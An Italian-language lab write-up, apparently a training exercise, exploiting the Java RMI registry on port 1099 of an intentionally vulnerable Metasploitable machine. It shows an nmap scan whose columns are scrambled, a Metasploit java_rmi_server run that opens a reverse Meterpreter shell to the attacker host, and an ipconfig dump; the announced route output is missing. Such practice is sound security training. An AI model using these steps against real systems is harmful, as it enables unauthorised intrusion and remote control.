Oggi andremo a sfruttare una vulnerabilità di della macchina target metasploitable sul servizio java RMI sulla porta 1099. Innanzitutto mi assicuro che il servizio sia attivo e faccio una scansione con nmap :

```
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-10 12:19 CET
Nmap scan report for 192.168.11.112
Host is up (0.0016s latency).
Not shown: 977 closed tcp ports (conn-refused)
          STATE SERVICE
PORT
                                VERSION
21/tcp
          open ftp
                                vsftpd 2.3.4
                                OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
           open
23/tcp
25/tcp
                  telnet
                                Linux telnetd
          open
                                Postfix smtpd
ISC BIND 9.4.2
          open
                  smtp
                  domain
53/tcp
          open
                                Apache httpd 2.2.8 ((Ubuntu) DAV/2)
80/tcp
          open
111/tcp
139/tcp
                  rpcbind
                                2 (RPC #100000)
                 netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
          open
445/tcp
          open
512/tcp
          open
                                netkit-rsh rexecd
         open
                  login
                                OpenBSD or Solaris rlogind
514/tcp open
                  tcpwrapped
1099/tcp open
                                GNU Classpath grmiregistry
                  java-rmi
1524/tcp open
2049/tcp open
                  bindshell
                                Metasploitable root shell
                                2-4 (RPC #100003)
ProFTPD 1.3.1
MySQL 5.0.51a-3ubuntu5
2121/tcp open
                  ftp
3306/tcp open
                 mysql
5432/tcp open
                 postgresql
                                PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open
6000/tcp open
                                (access denied)
                                UnrealIRCd
6667/tcp open
                                Apache Jserv (Protocol v1.3)
Apache Tomcat/Coyote JSP engine 1.1
8009/tcp open
                 ajp13
8180/tcp open
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
```

Una volta che mi sono assicurato che il servizio sia attivo, lancio msf console, carico il modulo ed il payload specifico infigura, setto i parametri richiesti e lancio l'attacco con il comando run ed acquisisco la shell di meterpreter:

```
msf6 exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/ol0XrisI
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:47412) at 2023-03-10 12:36:46 +0100
```

Una volta ottenuta la shell di meterpreter, carpisco le informazioni che la traccia mi chiede.

La configurazione di rete con il comando "route":

E le configurazioni di rete con il comando ipconfig:

```
meterpreter > ipconfig
Interface 1
Name : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::
Interface 2
Name : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fea5:d979
IPv6 Netmask : ::
meterpreter >
```